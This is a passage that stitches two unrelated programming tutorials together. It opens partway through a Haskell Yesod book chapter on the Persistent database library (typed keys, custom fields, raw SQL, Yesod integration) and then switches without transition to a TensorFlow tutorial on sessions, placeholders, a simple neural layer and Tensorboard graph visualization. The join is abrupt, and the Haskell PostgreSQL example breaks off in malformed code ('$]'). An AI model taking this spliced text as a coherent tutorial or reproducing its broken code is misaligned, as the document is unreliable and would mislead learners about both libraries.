Using this technique, you can define one-to-many relationships. To define many-to-many relationships, we need a join entity, which has a one-to-many relationship with each of the original tables. It is also a good idea to use uniqueness constraints on these. For example, to model a situation where we want to track which people have shopped in which Store name String PersonStore personId PersonId storeId StoreId UniquePersonStore personId storeId |] main :: IO () main = runSqlite ":memory:" $ do runMigration migrateAll bruce <- insert $ Person "Bruce Wayne" michael <- insert $ Person "Michael" target <- insert $ Store "Target" gucci <- insert $ Store "Gucci" sevenEleven <- insert $ Store "7-11" insert $ PersonStore bruce gucci insert $ PersonStore bruce sevenEleven insert $ PersonStore michael target insert $ PersonStore michael sevenEleven return ()
Closer look at types
So far, we’ve spoken about
Person and
PersonId without really explaining
what they are. In the simplest sense, for a SQL-only system, the
PersonId
could just be
type PersonId = Int64. However, that means there is nothing
binding a
PersonId at the type level to the
Person entity. As a result, you
could accidentally use a
PersonId and get a
Car. In order to model this
relationship, we use phantom types. So, our next naive step would be:
newtype Key entity = Key Int64 type PersonId = Key Person
And that works out really well, until you get to a backend that doesn’t use
Int64 for its IDs. And that’s not just a theoretical question; MongoDB uses
ByteStrings instead. So what we need is a key value that can contain an
Int and a
ByteString. Seems like a great time for a sum type:
data Key entity = KeyInt Int64 | KeyByteString ByteString
But that’s just asking for trouble. Next we’ll have a backend that uses
timestamps, so we’ll need to add another constructor to
Key. This could go on
for a while. Fortunately, we already have a sum type intended for representing
arbitrary data:
PersistValue:
newtype Key entity = Key PersistValue
But this has another problem. Let’s say we have a web application that takes an
ID as a parameter from the user. It will need to receive that parameter as
Text and then try to convert it to a
Key. Well, that’s simple: write a
function to convert a
Text to a
PersistValue, and then wrap the result in
the
Key constructor, right?
Wrong. We tried this, and there’s a big problem. We end up getting
Keys
that could never be. For example, if we’re dealing with SQL, a key must be an
integer. But the approach described above would allow arbitrary textual data
in. The result was a bunch of 500 server errors as the database choked on
comparing an integer column to text.
So what we need is a way to convert text to a
Key, but have it dependent on
the rules of the backend in question. And once phrased that way, the answer is
simple: just add another phantom. The real, actual definition of
Key in
Persistent is:
newtype KeyBackend backend entity = Key { unKey :: PersistValue } type Key val = KeyBackend (PersistEntityBackend val) val
What this slightly intimidating formulation says is: we have a type
KeyBackend which is parameterized on both the backend and entity. However, we
also have a simplified type
Key which assumes the same backend for both the
entity and the key, which is almost always the correct assumption.
In practice, this works great: we can have a
Text → KeyBackend MongoDB
entity function and a
Text → KeyBackend SqlPersist entity function, and
everything runs smoothly.
More complicated, more generic
By default, Persistent will hard-code your datatypes to work with a specific
database backend. When using
sqlSettings, this is the
SqlBackend type. But
if you want to write Persistent code that can be used on multiple backends, you
can enable more generic types by replacing
sqlSettings with
sqlSettings {
mpsGeneric = True }.
To understand why this is necessary, consider relations. Let’s say we want to represent blogs and blog posts. We would use the entity definition:
Blog title Text Post title Text blogId BlogId
But what would that look like in terms of our
Key datatype?
data Blog = Blog { blogTitle :: Text } data Post = Post { postTitle :: Text, postBlogId :: KeyBackend <what goes here?> Blog }
We need something to fill in as the backend. In theory, we could hardcode this
to
SqlPersist, or
Mongo, but then our datatypes will only work for a single
backend. For an individual application, that might be acceptable, but what
about libraries defining datatypes to be used by multiple applications, using
multiple backends?
So things got a little more complicated. Our types are actually:
data BlogGeneric backend = Blog { blogTitle :: Text } data PostGeneric backend = Post { postTitle :: Text, postBlogId :: KeyBackend backend (BlogGeneric backend) }
Notice that we still keep the short names for the constructors and the records. Finally, to give a simple interface for normal code, we define some type synonyms:
type Blog = BlogGeneric SqlPersist type BlogId = Key SqlPersist Blog type Post = PostGeneric SqlPersist type PostId = Key SqlPersist Post
And no,
SqlPersist isn’t hard-coded into Persistent anywhere. That
sqlSettings parameter you’ve been passing to
mkPersist is what tells us to
use
SqlPersist. Mongo code will use
mongoSettings instead.
This might be quite complicated under the surface, but user code hardly ever
touches this. Look back through this whole chapter: not once did we need to
deal with the
Key or
Generic stuff directly. The most common place for it
to pop up is in compiler error messages. So it’s important to be aware that
this exists, but it shouldn’t affect you on a day-to-day basis.
Custom Fields
Occasionally, you will want to define a custom field to be used in your datastore. The most common case is an enumeration, such as employment status. For this, Persistent provides a helper Template Haskell function:
-- @Employment.hs {-# LANGUAGE TemplateHaskell #-} module Employment where import Database.Persist.TH data Employment = Employed | Unemployed | Retired deriving (Show, Read, Eq) derivePersistField "Employment"
{-# LANGUAGE QuasiQuotes, TypeFamilies, GeneralizedNewtypeDeriving, TemplateHaskell, OverloadedStrings, GADTs, FlexibleContexts #-} import Database.Persist.Sqlite import Database.Persist.TH import Employment share [mkPersist sqlSettings, mkMigrate "migrateAll"] [persistLowerCase| Person name String employment Employment |] main :: IO () main = runSqlite ":memory:" $ do runMigration migrateAll insert $ Person "Bruce Wayne" Retired insert $ Person "Peter Parker" Unemployed insert $ Person "Michael" Employed return ()
derivePersistField stores the data in the database using a string field, and
performs marshaling using the
Show and
Read instances of the datatype. This
may not be as efficient as storing via an integer, but it is much more future
proof: even if you add extra constructors in the future, your data will still
be valid.
Persistent: Raw SQL
The Persistent package provides a type safe interface to data stores. It tries to be backend-agnostic, such as not relying on relational features of SQL. My experience has been you can easily perform 95% of what you need to do with the high-level interface. (In fact, most of my web apps use the high level interface exclusively.)
But occassionally you’ll want to use a feature that’s specific to a backend. One feature I’ve used in the past is full text search. In this case, we’ll use the SQL "LIKE" operator, which is not modeled in Persistent. We’ll get all people with the last name "Snoyman" and print the records out.
{-# LANGUAGE OverloadedStrings, TemplateHaskell, QuasiQuotes, TypeFamilies #-} {-# LANGUAGE GeneralizedNewtypeDeriving, GADTs, FlexibleContexts #-} import Database.Persist.TH import Data.Text (Text) import Database.Persist.Sqlite import Control.Monad.IO.Class (liftIO) import Data.Conduit import qualified Data.Conduit.List as CL share [mkPersist sqlSettings, mkMigrate "migrateAll"] [persistLowerCase| Person name Text |] main :: IO () main = runSqlite ":memory:" $ do runMigration migrateAll insert $ Person "Michael Snoyman" insert $ Person "Miriam Snoyman" insert $ Person "Eliezer Snoyman" insert $ Person "Gavriella Snoyman" insert $ Person "Greg Weber" insert $ Person "Rick Richardson" -- Persistent does not provide the LIKE keyword, but we'd like to get the -- whole Snoyman family... let sql = "SELECT name FROM Person WHERE name LIKE '%Snoyman'" rawQuery sql [] $$ CL.mapM_ (liftIO . print)
There is also higher-level support that allows for automated data marshaling. Please see the Haddock API docs for more details.
Integration with Yesod
So you’ve been convinced of the power of Persistent. How do you integrate it with your Yesod application? If you use the scaffolding, most of the work is done for you already. But as we normally do, we’ll build up everything manually here to point out how it works under the surface.
The yesod-persistent package provides the meeting point between Persistent and
Yesod. It provides the
YesodPersist typeclass, which standardizes access to
the database via the
runDB method. Let’s see this in action.
{-# LANGUAGE QuasiQuotes, TypeFamilies, GeneralizedNewtypeDeriving, FlexibleContexts #-} {-# LANGUAGE TemplateHaskell, OverloadedStrings, GADTs, MultiParamTypeClasses #-} import Yesod import Database.Persist.Sqlite import Control.Monad.Trans.Resource (runResourceT) import Control.Monad.Logger (runStderrLoggingT) -- Define our entities as usual share [mkPersist sqlSettings, mkMigrate "migrateAll"] [persistLowerCase| Person firstName String lastName String age Int deriving Show |] -- We keep our connection pool in the foundation. At program initialization, we -- create our initial pool, and each time we need to perform an action we check -- out a single connection from the pool. data PersistTest = PersistTest ConnectionPool -- We'll create a single route, to access a person. It's a very common -- occurrence to use an Id type in routes. mkYesod "PersistTest" [parseRoutes| / HomeR GET /person/#PersonId PersonR GET |] -- Nothing special here instance Yesod PersistTest -- Now we need to define a YesodPersist instance, which will keep track of -- which backend we're using and how to run an action. instance YesodPersist PersistTest where type YesodPersistBackend PersistTest = SqlPersistT runDB action = do PersistTest pool <- getYesod runSqlPool action pool -- List all people in the database getHomeR :: Handler Html getHomeR = do people <- runDB $ selectList [] [Asc PersonAge] defaultLayout [whamlet| <ul> $forall Entity personid person <- people <li> <a href=@{PersonR personid}>#{personFirstName person} |] -- We'll just return the show value of a person, or a 404 if the Person doesn't -- exist. getPersonR :: PersonId -> Handler String getPersonR personId = do person <- runDB $ get404 personId return $ show person openConnectionCount :: Int openConnectionCount = 10 main :: IO () main = withSqlitePool "test.db3" openConnectionCount $ \pool -> do runResourceT $ runStderrLoggingT $ flip runSqlPool pool $ do runMigration migrateAll insert $ Person "Michael" "Snoyman" 26 warp 3000 $ PersistTest pool
There are two important pieces here for general use.
runDB is used to run a
DB action from within a
Handler. Within the
runDB, you can use any of the
functions we’ve spoken about so far, such as
insert and
selectList.
The other new feature is
get404. It works just like
get, but instead of
returning a
Nothing when a result can’t be found, it returns a 404 message
page. The
getPersonR function is a very common approach used in real-world
Yesod applications:
get404 a value and then return a response based on it.
More complex SQL
Persistent strives to be backend-agnostic. The advantage of this approach is code which easily moves from different backend types. The downside is that you lose out on some backend-specific features. Probably the biggest casualty is SQL join support.
Fortunately, thanks to Felipe Lessa, you can have your cake and eat it too. The Esqueleto library provides support for writing type safe SQL queries, using the existing Persistent infrastructure. The Haddocks for that package provide a good introduction to its usage. And since it uses many Persistent concepts, most of your existing Persistent knowledge should transfer over easily.
Something besides SQLite
To keep the examples in this chapter simple, we’ve used the SQLite backend. Just to round things out, here’s our original synopsis rewritten to work with PostgreSQL:
{-# LANGUAGE FlexibleContexts #-} {-# LANGUAGE GADTs #-} {-# LANGUAGE OverloadedStrings #-} {-# LANGUAGE QuasiQuotes #-} {-# LANGUAGE TemplateHaskell #-} {-# LANGUAGE TypeFamilies #-} import Control.Monad.IO.Class (liftIO) import Database.Persist import Database.Persist.Postgresql import Database.Persist.TH share [mkPersist sqlSettings, mkMigrate "migrateAll"] [persistLowerCase| Person name String age Int Maybe deriving Show BlogPost title String authorId PersonId deriving Show |] connStr = "host=localhost dbname=test user=test password=test port=5432" main :: IO () main = withPostgresqlPool connStr 10 $ \pool -> do flip runSqlPersistMPool pool $]
Summary
Persistent brings the type safety of Haskell to your data access layer. Instead of writing error-prone, untyped data access, or manually writing boilerplate marshal code, you can rely on Persistent to automate the process for you.
The goal is to provide everything you need, most of the time. For the times when you need something a bit more powerful, Persistent gives you direct access to the underlying data store, so you can write whatever 5-way joins you want.
Persistent integrates directly into the general Yesod workflow. Not only do
helper packages like
yesod-persistent provide a nice layer, but packages like
yesod-form and
yesod-auth also leverage Persistent’s features as well. | http://www.yesodweb.com/book-1.2/persistent | CC-MAIN-2014-41 | refinedweb | 7,100 | 54.02 |
Perhaps a month ago, I teased a coming post about bracket/delimiter/begin-end patterns in C#...
What is a bracket pattern?
If you have used OpenGL, you may remember code looking like:
glBegin(GL_QUADS); glColor3f(1.0f, 0.0f, 0.0f); glVertex2f(-0.5f, -0.5f); // ... glEnd();
These patterns are not uncommon and they are, well - error prone. Ever accidentally left your front door open? That is how goes with pairing commands as above.
Bracket patterns in C-sharp
In C# you may leverage
using and
IDisposable. However this is on the heavy side, primarily for safely managing resources.
I review lightweight alternatives - looking at increasingly more powerful variants.
The basics
In the simplest case, we want a pattern equivalent to...
Begin(); DoSomething(); End();
A basic bracket pattern, then, is implemented as follows:
class Service{ public Func<T> With{ get{ Start(); return End; }} void Start(){ ... } void End(T arg){ ... } }
Enabling the following use:
With( DoSomething() );
Returning the
With function as a property allows running code both before and after running the enclosed command.
One use case is with functional graphic APIs (such as OpenGL, and others...); Unity, for instance, provides the following API(*):
(*) In places they now use
IDisposable
BeginHorizontalGroup(); Label("Hello"); EndHorizontalGroup();
Which then becomes:
HorizontalGroup( Label("Hello") );
And the pattern implementation:
public static class GUI{ public static Func<object> With{ get{ BeginHorizontalGroup(); return End; }} void End(object arg) => EndHorizontalGroup(); }
As you see we are not doing any with the argument - our purpose here is only 'framing' the
Label() command. Which brings us to the one constraint these patterns are sharing:
Label() (and likewise framed commands) cannot return
void.
Although I did use a
static class this is not required; so, assuming the target API does not use globals either, thread safety may be preserved.
A common use case for bracket patterns is when building hierarchies and this may help designing articulate alternatives to the builder pattern.
In its most simple form the bracket pattern only supports one argument. What if (as makes sense with a horizontal group) we wanted to combine several commands? Then, use a delegate:
public class Service{ public EndFunc With{ get{ Start(); return End; }} void Start(){ ... } delegate void EndFunc(params T[] args); void End(params T[] args){ ... } }
The reason we need a delegate here is var-args (
...) are not supported by any variant of
System.Func<...>.
Back to the 'horizontal group' example, the above then enables the following syntax:
HorizontalGroup( Label("Hello"), Button("Tap to enter"), );
If you go back to the OpenGL example, note how the
glBegin(GL_QUADS) function allowed arguments. In the next session I'll be looking at a handy variant which cleanly separates arguments to the
begin function from the enclosed items.
Var-arg forms allocate memory; often the impact is negligible; when it's not there is an alternative, and I'll also review this in my next posting.
Happy Coding ~
Photo by Dan-Cristian Pădureț on Unsplash
Top comments (0) | https://dev.to/eelstork/bracket-patterns-in-c-p-1-fac | CC-MAIN-2022-40 | refinedweb | 492 | 54.73 |
In this article, we will cover TensorFlow touching the basics and then move to advanced topics. Our focus would be what we can do with TensorFlow.
We won't be defining what exactly Tensorflow is because already there is a lot of content but we will work towards directly using it.
Let's get started.
We are using Anaconda distribution for Python and then install TensorFlow with it. We are working with the GPU version.
We activate the anaconda environment.
We are using Intel optimized python for writing codes in python.
Let's check on how the version on Tensorflow can be seen.
style="width: 600px; height: 167px" data-src="/KB/AI/1272499/0e71bb4b-747f-4dda-9b5f-9e1629d42d44.Png" class="lazyload" data-sizes="auto" data->
To check the version first, we imported tensorflow.
>>> import tensorflow as tf
>>> print(tf.__version__)
1.1.0
//
Let’s just break the word tensor it means n-dimensional array.
We will create the most basic thing in tensorflow that is constant. We will create a variable named “hello Intel”.
hello Intel
>>> import tensorflow as tf
>>> hello = tf.constant("Hello ")
>>> Intel = tf.constant("Intel ")
>>> type(Intel)
<class>
>>> print(Intel)
Tensor("Const_1:0", shape=(), dtype=string)
>>> with tf.Session() as sess:
... result=sess.run(hello+Intel)
Now we print the result.
>>> print(result)
b'Hello Intel '
>>>
</class>
The output in Anaconda prompt window looks like this:
style="width: 600px; height: 316px" data-src="/KB/AI/1272499/19e48d89-210e-451a-ab31-0e20c442cead.Png" class="lazyload" data-sizes="auto" data->
Now let’s work with adding two numbers in TensorFlow.
We declare two variables:
>>> a =tf.constant(50)
>>> b =tf.constant(70)
We again check the type of one of the variables:
>>> type(a)
<class>
</class>
We see the object is of type tensor. For adding two variables, we have to create a session.
tensor
session
>>> with tf.Session() as sess:
... result = sess.run(a+b)
If we now want to see the result:
>>> result
120
In the next section, we will work around on creating a neural network from scratch in TensorFlow.
In this section, we will create a neural network that performs a simple linear fit to some 2D data.
The steps we will be performing are shown in the figure below.
The structure of the graph for the neural network we are going to construct is shown below.
style="width: 600px; height: 354px" data-src="/KB/AI/1272499/7bb35716-2f9f-4c05-ab08-00e281624a5e.Png" class="lazyload" data-sizes="auto" data->
First of all, we will import numpy and tensorflow.
numpy
tensorflow
(C:\Program Files\Anaconda3) C:\Users\abhis>activate tensorflow-gpu
(tensorflow-gpu) C:\Users\abhis>python
Python 3.5.2 |Intel Corporation| (default, Feb 5 2017, 02:57:01) [MSC v.1900 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
Intel(R) Distribution for Python is brought to you by Intel Corporation.
Please check out:
>>> import numpy as np
>>> import tensorflow as tf
>>>
We need to set some random seed values for our process.
>>> np.random.seed(101)
>>> tf.set_random_seed(101)
Now, we will add some random data. Using rand_a =np.random.uniform(0,100(5,5)), we add random data points going from 0 to 100 and then ask it to be in the shape of (5,5). We do the same for b.
rand_a =np.random.uniform(0,100(5,5))
b
>>> rand_a =np.random.uniform(0,100,(5,5))
>>> rand_a
array([[ 51.63986277, 57.06675869, 2.84742265, 17.15216562,
68.52769817],
[ 83.38968626, 30.69662197, 89.36130797, 72.15438618,
18.99389542],
[ 55.42275911, 35.2131954 , 18.18924027, 78.56017619,
96.54832224],
[ 23.23536618, 8.35614337, 60.35484223, 72.89927573,
27.62388285],
[ 68.53063288, 51.78674742, 4.84845374, 13.78692376,
18.69674261]])
>>> rand_b
array([[ 99.43179012],
[ 52.06653967],
[ 57.87895355],
[ 73.48190583],
[ 54.19617722]])
Now we need to create placeholders for these uniform objects.
>>> a = tf.placeholder(tf.float32)
>>> b = tf.placeholder(tf.float32)
Tensorflow understands normal python operation. We will use it.
>>> add_op = a + b
>>> mul_op = a * b
Now we will create some sessions that use graphs to feed dictionaries to get results. First, we declare the session, then we want to get the results of the add operation. We need to pass in the operation and the feed dictionary. For the placeholder objects, we need to feed data. We will do that by feed dictionary. First, we have the keys, they are a and b, then we pass data to it. add_result = sess.run(add_op,feed_dict={a:10,b:20})
add
a
add_result = sess.run(add_op,feed_dict={a:10,b:20})
>>> with tf.Session() as sess:
... add_result = sess.run(add_op,feed_dict={a:10,b:20})
... print(add_result)
As we have created random, we will pass it to feed dictionary.
feed
>>> with tf.Session() as sess:
... add_result = sess.run(add_op,feed_dict={a:rand_a,b:rand_b})
Now when we print the value of add_result:
add_result
>>> print(add_result)
[[ 151.07165527 156.49855042 102.27921295 116.58396149 167.95948792]
[ 135.45622253 82.76316071 141.42784119 124.22093201 71.06043243]
[ 113.30171204 93.09214783 76.06819153 136.43911743 154.42727661]
[ 96.7172699 81.83804321 133.83674622 146.38117981 101.10578918]
[ 122.72680664 105.98292542 59.04463196 67.98310089 72.89292145]]
We did a matrix addition over here.
We do the same for multiplication too.
>>> with tf.Session() as sess:
... mul_result = sess.run(mul_op,feed_dict={a:10,b:20})
print(mul_result)
200
Using the random values:
>>> with tf.Session() as sess:
... mul_result = sess.run(mul_op,feed_dict={a:rand_a,b:rand_b})
>>> print(mul_result)
[[ 5134.64404297 5674.25 283.12432861 1705.47070312
6813.83154297]
[ 4341.8125 1598.26696777 4652.73388672 3756.8293457 988.9463501 ]
[ 3207.8112793 2038.10290527 1052.77416992 4546.98046875
5588.11572266]
[ 1707.37902832 614.02526855 4434.98876953 5356.77734375
2029.85546875]
[ 3714.09838867 2806.64379883 262.76763916 747.19854736
1013.29199219]]
Now let's create a Neural Network out of it.
Let us add some features to the data.
>>> n_features =10
Now we just declare how many layers of neurons are there. In the following case, we have 3.
3
>>> n_dense_neurons = 3
Let us create a place holder for x, then we add also the data type that is float. Then we have to find the shape() first we consider as None because it depends on what batch of data we are feeding to neural network. Columns will be the number of features. So the placeholder will look like this:
x
float
shape()
None
>>> x = tf.placeholder(tf.float32,(None,n_features))
Now we will have the other variables. W is the weight variable and we initialize this with some sort of randomness then we have the shape of it to be number of features with number of neurons in the layer.
W
>>> W = tf.Variable(tf.random_normal([n_features,n_dense_neurons]))
Now we will declare the bias. We declare the variables and we can have it as ones or zeros. We are using the function within tensorflow. We have to keep in mind that W will be multiplied by x so for matrix multiplication, we need to maintain the dimension of column with dimension of rows.
>>> b = tf.Variable(tf.ones([n_dense_neurons])
...
...
...
... )
>>>
Now we need to have some sort of operation and activation function.
>>> xW = tf.matmul(x,W)
Now the output z:
z
>>> z = tf.add(xW,b)
Now the activation function.
>>> a = tf.sigmoid(z)
For completing the graph or the flow, we need to run it in a very simple session.
>>> init = tf.global_variables_initializer()
Finally, when we create a session, we pass in a feed dictionary.
>>> with tf.Session() as sess:
... sess.run(init)
... layer_out = sess.run(a,feed_dict={x:np.random.random([1,n_features])})
>>> print(layer_out)
[[ 0.19592889 0.84230143 0.36188066]]
We will now start working with Activation function and implement in TensorFlow.
Now in this section, we will implement a function and view any layer we want.
We get inside the Intel optimized python mode through Anaconda prompt.
>>> import TensorFlow as tf
Now we will implement the layer function. For the layer we should have inputs, this is the information being processed from last layer. Using in_size determines the size of the input, this also describes how many hidden neurons for last layer. Using out_layer shows how many neurons for this layer. Then, we declare the activation function which is None that is we are using a linear activation function. We have to define weight that is based on input and output size. We will use random normal to generate the weights. We will have to pass the input and the output size. Initially, we use randomized values because it improves the neural network better. We declare one dimensional biases. We will initialize it as zeros and initialize all variables as 0.1. The dimension of it is 1 row and out_size the no of columns. As we want to add the weights to the bias, the shape should be the same so we use out_size. For the operation or the compute process, that is matrix multiplication.
in_size
out_layer
0.1
1
out_size
def add_layer(inputs, in_size, out_size, activation_function=None):
Weights = tf.Variable(tf.random_normal([in_size, out_size]))
biases = tf.Variable(tf.zeros([1, out_size]) + 0.1)
Wx_plus_b = tf.matmul(inputs, Weights) + biases
if activation_function is None:
outputs = Wx_plus_b
else:
outputs = activation_function(Wx_plus_b)
print(outputs)
return outputs
Let’s talk about Tensorboard. Tensorboard is a data visualization which is packaged with Tensorflow. When we are dealing with creation of network in TensorFlow is composed of operations and tensors. When we feed data into the neural network, the data flows in the form of tensors performing operations and finally getting an output.
Tensorboard was created to know the flow of tensors in a model. It helps in debugging and optimization.
Now we will work around creating the graphs and then showing it in Tensorboard.
The basic operations we will do are:
We start with basic addition operation now. In the next section, we will discuss how to use basic addition operation and then view it in a Tensorboard. The next figure shows us the entire flow and then we discuss it in detail.
style="width: 600px; height: 600px" data-src="/KB/AI/1272499/479ce5c8-cb8a-47a9-afb3-8677df3363ad.Png" class="lazyload" data-sizes="auto" data->
First of all, we need to import Tensorflow.
Import tensorflow as tf.
tf
After that, we have to declare placeholder variables.
placeholder
X = tf.placeholder(tf.float32, name="X")
Y = tf.placeholder(tf.float32, name="Y")
Next, we need to declare what operations we need to perform.
addition = tf.add(X, Y, name="addition")
In the next step, we have to declare session as we want to perform operations so we need to perform the operations inside a session. We will have to initialize the variables using init. Then we have to run the sess within the init. In the next step, we have to declare session as we want to perform operations so we need to perform the operations inside a session. We will have to initialize the variables using init. Then we have to run the sess within the init.
init
sess)
When we run the session using feed dictionary, we initialize the values of the variables:
result = sess.run(addition, feed_dict ={X: [5,2,1], Y: [10,6,1]})
Finally, using Summary writer, we get the debugging logs for the graph.
if int((tf.__version__).split('.')[1]) < 12 and
int((tf.__version__).split('.')[0]) < 1: # tensorflow version < 0.12
writer = tf.train.SummaryWriter('logs/nono', sess.graph)
else: # tensorflow version >= 0.12
writer = tf.summary.FileWriter("logs/nono", sess.graph)
The entire code base in python looks like this in a single oriented flow.
import tensorflow as tf
X = tf.placeholder(tf.float32, name="X")
Y = tf.placeholder(tf.float32, name="Y")
addition = tf.add(X, Y, name="addition"))
if int((tf.__version__).split('.')[1]) < 12 and
int((tf.__version__).split('.')[0]) < 1: # tensorflow version < 0.12
writer = tf.train.SummaryWriter('logs/nono', sess.graph)
else: # tensorflow version >= 0.12
writer = tf.summary.FileWriter("logs/nono", sess.graph)
Let us now visualize it. We will go to the Anaconda prompt. Activate the environment and go to the folder to run the python file.
style="cursor: pointer; border: 0; width: 700px; height: auto" data-src="/KB/AI/1272499/e2e95482-3e81-4531-a60c-bfff26515b17-r-700.Png" class="lazyload" onclick="imageCleanup.showFullImage('/KB/AI/1272499/e2e95482-3e81-4531-a60c-bfff26515b17.Png')" data-sizes="auto" data->
Now we need to run the python file.
After running the following command:
(tensorflow-gpu) C:\Users\abhis\Desktop>python abb2.py
The following output is obtained:
style="width: 600px; height: 144px" data-src="/KB/AI/1272499/258d09d4-70a4-49bc-a1a8-99dbc70e91f5.Png" class="lazyload" data-sizes="auto" data->
Now to open the Tensorboard:
(tensorflow-gpu) C:\Users\abhis\Desktop>tensorboard --logdir=logs/nono
(tensorflow-gpu) C:\Users\abhis\Desktop>tensorboard --logdir=logs/nono
WARNING:tensorflow:Found more than one graph event per run,
or there was a metagraph containing a graph_def, as well as one or more graph events.
Overwriting the graph with the newest event.
Starting TensorBoard b'47' at
(Press CTRL+C to quit)
Now let us open up the browser for Tensorboard access.
The following link needs to be opened.
The graph looks like this:
style="width: 600px; height: 371px" data-src="/KB/AI/1272499/f50227a1-3334-452b-992c-f7efd3083b13.Png" class="lazyload" data-sizes="auto" data->
For multiplication too, the same process is followed and the code base is shared below:
import tensorflow as tf
X = tf.placeholder(tf.float32, name="X")
Y = tf.placeholder(tf.float32, name="Y")
multiplication = tf.multiply(X, Y, name="multiplication"))
result = sess.run(multiplication, feed_dict ={X: [5,2,1], Y: [10,6,1]})
if int((tf.__version__).split('.')[1]) < 12 and
int((tf.__version__).split('.')[0]) < 1: # tensorflow version < 0.12
writer = tf.train.SummaryWriter('logs/no1', sess.graph)
else: # tensorflow version >= 0.12
writer = tf.summary.FileWriter("logs/no1", sess.graph)
We run the python file and run it using Tensorboard... the graph looks like the following:
style="cursor: pointer; border: 0; width: 700px; height: auto" data-src="/KB/AI/1272499/4ec6a3aa-4ccc-4f35-884c-4ce8b2a5726f-r-700.Png" class="lazyload" onclick="imageCleanup.showFullImage('/KB/AI/1272499/4ec6a3aa-4ccc-4f35-884c-4ce8b2a5726f.Png')" data-sizes="auto" data->
Let’s work with a more complex tutorial to see how the Tensorboard visualization works for it. We will be using activation function definition as shown above.
Now we will declare placeholders:
xs = tf.placeholder(tf.float32, [None, 1], name='x_input')
ys = tf.placeholder(tf.float32, [None, 1], name='y_input')
We will add a hidden layer with activation function used as relu.
relu
l1 = add_layer(xs, 1, 10, activation_function=tf.nn.relu)
We will add output layer:
prediction = add_layer(l1, 10, 1, activation_function=None)
Next we will calculate the error:
with tf.name_scope('loss'):
loss = tf.reduce_mean(tf.reduce_sum(tf.square(ys - prediction),
reduction_indices=[1]))
Next, we need to train the network. We will be using the gradient descent optimizer:
train_step = tf.train.GradientDescentOptimizer(0.1).minimize(loss)
Scopes in TensorFlow graph. There can be lot of complications when we are dealing with the type of hierarchy maintained by a graph. To make it more ordered, we use “scopes”. Scopes help us to readily distinguish working of particular node or any function if you want to visualize and debug separately. To declare a scope, the following process is applied.
with tf.name_scope(‘<name>’):
</name>
<name> should be replaced by the scope name you give. The entire code after applying scope looks like this:
<name>
from __future__ import print_function
import tensorflow as tf
def add_layer(inputs, in_size, out_size, activation_function=None):
# add one more layer and return the output of this layer
with tf.name_scope('layer'):
with tf.name_scope('weights'):
Weights = tf.Variable(tf.random_normal([in_size, out_size]), name='W')
with tf.name_scope('biases'):
biases = tf.Variable(tf.zeros([1, out_size]) + 0.1, name='b')
with tf.name_scope('Wx_plus_b'):
Wx_plus_b = tf.add(tf.matmul(inputs, Weights), biases)
if activation_function is None:
outputs = Wx_plus_b
else:
outputs = activation_function(Wx_plus_b, )
return outputs
# define placeholder for inputs to network
with tf.name_scope('inputs'):
xs = tf.placeholder(tf.float32, [None, 1], name='x_input')
ys = tf.placeholder(tf.float32, [None, 1], name='y_input')
# add hidden layer
l1 = add_layer(xs, 1, 10, activation_function=tf.nn.relu)
# add output layer
prediction = add_layer(l1, 10, 1, activation_function=None)
# the error between prediction and real data
with tf.name_scope('loss'):
loss = tf.reduce_mean(tf.reduce_sum(tf.square(ys - prediction),
reduction_indices=[1]))
with tf.name_scope('train'):
train_step = tf.train.GradientDescentOptimizer(0.1).minimize(loss)
sess = tf.Session()
# tf.train.SummaryWriter soon be deprecated, use following
if int((tf.__version__).split('.')[1]) < 12 and
int((tf.__version__).split('.')[0]) < 1: # tensorflow version < 0.12
writer = tf.train.SummaryWriter('logs/eg', sess.graph)
else: # tensorflow version >= 0.12
writer = tf.summary.FileWriter("logs/eg", sess.graph)
# tf.initialize_all_variables() no long valid from
# 2017-03-02 if using tensorflow >= 0.12
if int((tf.__version__).split('.')[1]) < 12 and int((tf.__version__).split('.')[0]) < 1:
init = tf.initialize_all_variables()
else:
init = tf.global_variables_initializer()
sess.run(init)
Now let us just run the python file and then start the Tensorboard.
(tensorflow-gpu) C:\Users\abhis\Desktop>python ab5.py
To run the Tensorboard:
(tensorflow-gpu) C:\Users\abhis\Desktop>tensorboard --logdir=logs/eg
Primarily after running the Tensorboard, the graph looks like this as shown below. Please focus on the scopes declared.
style="width: 640px; height: 287px" data-src="/KB/AI/1272499/ab6d65a2-cfe3-4c0a-bdc9-0c0c64564874.Png" class="lazyload" data-sizes="auto" data->
Let us expand layer first because there are lot of scopes defined inside it.
style="width: 556px; height: 600px" data-src="/KB/AI/1272499/cbae2969-1701-4367-87a2-1870adc1fc30.Png" class="lazyload" data-sizes="auto" data->
The red tick marks are The scopes inside the “layer” scope.
layer
Let us now expand weights scope.
weights
style="cursor: pointer; border: 0; width: 700px; height: auto" data-src="/KB/AI/1272499/f79ec300-e07c-4767-a6c7-d4326dbe0566-r-700.Png" class="lazyload" onclick="imageCleanup.showFullImage('/KB/AI/1272499/f79ec300-e07c-4767-a6c7-d4326dbe0566.Png')" data-sizes="auto" data->
Now focus on bias scope.
style="width: 455px; height: 600px" data-src="/KB/AI/1272499/195b9683-d4fd-48e3-ae80-b428700a707f.Png" class="lazyload" data-sizes="auto" data->
Now we will focus on wx_plus_b scope:
wx_plus_b
style="width: 433px; height: 315px" data-src="/KB/AI/1272499/60931df5-1663-4b74-b226-90fedd9ae013.Png" class="lazyload" data-sizes="auto" data->
We see from the focus on the scopes that after marking them, it is very easy to see the distinguished visualization of the graph and it helps us immensely when it becomes complex.
When we are supposed to apply an algorithm in machine learning and deep learning problem, it always helps us if we can visualize properly how the algorithm works and flows.
Embedding Visualization is essentially an important feature within Tensorboard for your neural network.
When we want to share lots of information about an image, we will have to gather information about it. This way, if we analyze an image, we collect information and project it in high dimensional vectors.
These mapping are in fact called as projections. There are two types of projections in Tensorboard as shown in the figure below:
style="width: 639px; height: 313px" data-src="/KB/AI/1272499/3e81d6fa-1178-47e8-8d3c-ac7a34514f75.Png" class="lazyload" data-sizes="auto" data->
The process applied tries to maintain the local structure for the dataset, but distorts the global structure.
First of all, we will have to get hold of the dataset that can be downloaded from the Kaggle website from the link below (You cannot download if you don’t have a Kaggle account, do create it).
The website hosts the files it looks as shown in the figure below:
style="width: 600px; height: 346px" data-src="/KB/AI/1272499/765f7075-6ee7-4ffd-b83f-235cac8fb748.Png" class="lazyload" data-sizes="auto" data->
We download the file and keep it extracted in a folder. We kept it in desktop. We will have to remember the location as we have to provide the full local link to the python file.
First of, we will import the important dependencies for the network you are trying to analyze. In our case, we were missing pandas we had to download it from anaconda cloud.
